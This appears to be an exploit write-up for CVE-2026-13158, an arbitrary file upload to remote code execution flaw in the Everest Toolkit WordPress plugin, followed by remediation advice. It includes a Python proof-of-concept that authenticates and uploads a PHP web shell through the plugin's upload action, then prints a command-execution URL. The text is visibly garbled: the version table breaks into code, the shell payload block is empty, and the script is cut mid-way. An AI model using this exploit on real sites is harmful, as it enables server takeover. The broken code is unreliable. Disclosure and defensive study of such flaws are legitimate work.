Exploit for CVE-2026-13158

## https://sploitus.com/exploit?id=07D8460E-A900-5FF5-A2C8-F8E9756DC33E
# CVE-2026-13158: Everest Toolkit  **Quick Links:** Read the full Deep-Dive Technical Advisory on [DEV.to Write-up](https://dev.to/minhhk68) or explore the researcher's official [Cybersecurity Portfolio](https://minhhk.web.app/#writeups).

---

## 📌 Executive Summary & Technical Metadata

| Parameter | Technical Specification |
| :--- | :--- |
| **Vulnerability Identifier** | `CVE-2026-13158` |
| **Target Software** | Everest Toolkit (WordPress Plugin) |
| **Plugin Slug** | `everest-toolkit` |
| **Vulnerable Versions** | ` $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
        }
    }
}
```

Because `move_uploaded_file` directly writes user-controlled files to the public `wp-content/uploads/` directory without running `wp_check_filetype_and_ext()` or sanitizing file extensions against dangerous MIME types, an attacker with administrative access can upload an executable PHP payload.

---

## 💻 Proof-of-Concept (PoC) Exploit Code

> **Ethical Disclaimer:** This Proof-of-Concept is provided exclusively for security verification, academic research, and defensive engineering. Unauthorized exploitation against production systems without prior written consent is strictly prohibited.

### Exploit Payload (`shell.php`)

```php

```

### Exploit Execution Script (Python 3)

```python
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit ', 'application/x-php')
    }
    data = {
        'action': 'everest_toolkit_file_upload'
    }
    res = session.post(upload_url, data=data, files=files)
    if res.status_code == 200 and 'file_url' in res.text:
        file_url = res.json().get('data', {}).get('file_url', '')
        print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
    else:
        print("[-] Upload failed or endpoint not vulnerable.")

if __name__ == "__main__":
    if login():
        exploit()
```

---

## 🛡️ Remediation & Defensive Engineering

1. **Upgrade Plugin:** Upgrade Everest Toolkit to the latest patched version (> 1.2.3).
2. **Enforce `wp_handle_upload` with Strict Whitelisting:** Replace custom `move_uploaded_file` calls with standard WordPress `wp_handle_upload()` without disabling test overrides.
3. **Disable Execution in Uploads Directory:** Configure `.htaccess` or Nginx rules to prevent script execution inside `/wp-content/uploads/`:

```nginx
# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}
```

---

## 🏆 About the Researcher

**Huynh Kien Minh (MinhHK)** is an Information Security Researcher and Software Engineer specializing in web application vulnerability analysis, WordPress ecosystem auditing, and offensive security research.

- **Cybersecurity Portfolio:** [https://minhhk.web.app/](https://minhhk.web.app/)
- **WPScan Advisory Reference:** [WPScan Vulnerability Database](https://wpscan.com/vulnerability/f101071f-402a-40a2-bbdb-666512cd4049/)
- **GitHub Profile:** [https://github.com/MinhHK68](https://github.com/MinhHK68)

---

## 📊 JSON-LD Structured Data Schema Markup

```json
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
  "name": "CVE-2026-13158 Security Advisory",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "alternateName": "MinhHK",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-01",
  "description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
  "about": {
    "@type": "SoftwareApplication",
    "name": "Everest Toolkit",
    "operatingSystem": "WordPress"
  },
  "identifier": "CVE-2026-13158"
}
```